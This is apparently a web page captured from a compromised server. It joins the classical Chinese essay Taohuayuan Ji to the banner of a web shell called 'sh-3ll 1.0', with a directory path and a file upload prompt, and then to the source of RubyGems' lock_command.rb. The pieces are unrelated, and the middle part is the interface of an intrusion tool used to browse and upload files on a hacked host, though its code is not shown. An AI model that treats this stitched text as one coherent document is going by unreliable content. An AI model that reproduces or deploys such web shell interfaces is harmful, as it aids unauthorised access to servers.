晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 sh-3ll

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sh-3ll 1.0
DIR:/opt/alt/ruby33/share/rubygems/rubygems/commands/
Upload File :
Current File : //opt/alt/ruby33/share/rubygems/rubygems/commands/lock_command.rb
# frozen_string_literal: true

require_relative "../command"

class Gem::Commands::LockCommand < Gem::Command
  def initialize
    super "lock", "Generate a lockdown list of gems",
          strict: false

    add_option "-s", "--[no-]strict",
               "fail if unable to satisfy a dependency" do |strict, options|
      options[:strict] = strict
    end
  end

  def arguments # :nodoc:
    "GEMNAME       name of gem to lock\nVERSION       version of gem to lock"
  end

  def defaults_str # :nodoc:
    "--no-strict"
  end

  def description # :nodoc:
    <<-EOF
The lock command will generate a list of +gem+ statements that will lock down
the versions for the gem given in the command line.  It will specify exact
versions in the requirements list to ensure that the gems loaded will always
be consistent.  A full recursive search of all effected gems will be
generated.

Example:

  gem lock rails-1.0.0 > lockdown.rb

will produce in lockdown.rb:

  require "rubygems"
  gem 'rails', '= 1.0.0'
  gem 'rake', '= 0.7.0.1'
  gem 'activesupport', '= 1.2.5'
  gem 'activerecord', '= 1.13.2'
  gem 'actionpack', '= 1.11.2'
  gem 'actionmailer', '= 1.1.5'
  gem 'actionwebservice', '= 1.0.0'

Just load lockdown.rb from your application to ensure that the current
versions are loaded.  Make sure that lockdown.rb is loaded *before* any
other require statements.

Notice that rails 1.0.0 only requires that rake 0.6.2 or better be used.
Rake-0.7.0.1 is the most recent version installed that satisfies that, so we
lock it down to the exact version.
    EOF
  end

  def usage # :nodoc:
    "#{program_name} GEMNAME-VERSION [GEMNAME-VERSION ...]"
  end

  def complain(message)
    if options[:strict]
      raise Gem::Exception, message
    else
      say "# #{message}"
    end
  end

  def execute
    say "require 'rubygems'"

    locked = {}

    pending = options[:args]

    until pending.empty? do
      full_name = pending.shift

      spec = Gem::Specification.load spec_path(full_name)

      if spec.nil?
        complain "Could not find gem #{full_name}, try using the full name"
        next
      end

      say "gem '#{spec.name}', '= #{spec.version}'" unless locked[spec.name]
      locked[spec.name] = true

      spec.runtime_dependencies.each do |dep|
        next if locked[dep.name]
        candidates = dep.matching_specs

        if candidates.empty?
          complain "Unable to satisfy '#{dep}' from currently installed gems"
        else
          pending << candidates.last.full_name
        end
      end
    end
  end

  def spec_path(gem_full_name)
    gemspecs = Gem.path.map do |path|
      File.join path, "specifications", "#{gem_full_name}.gemspec"
    end

    gemspecs.find {|path| File.exist? path }
  end
end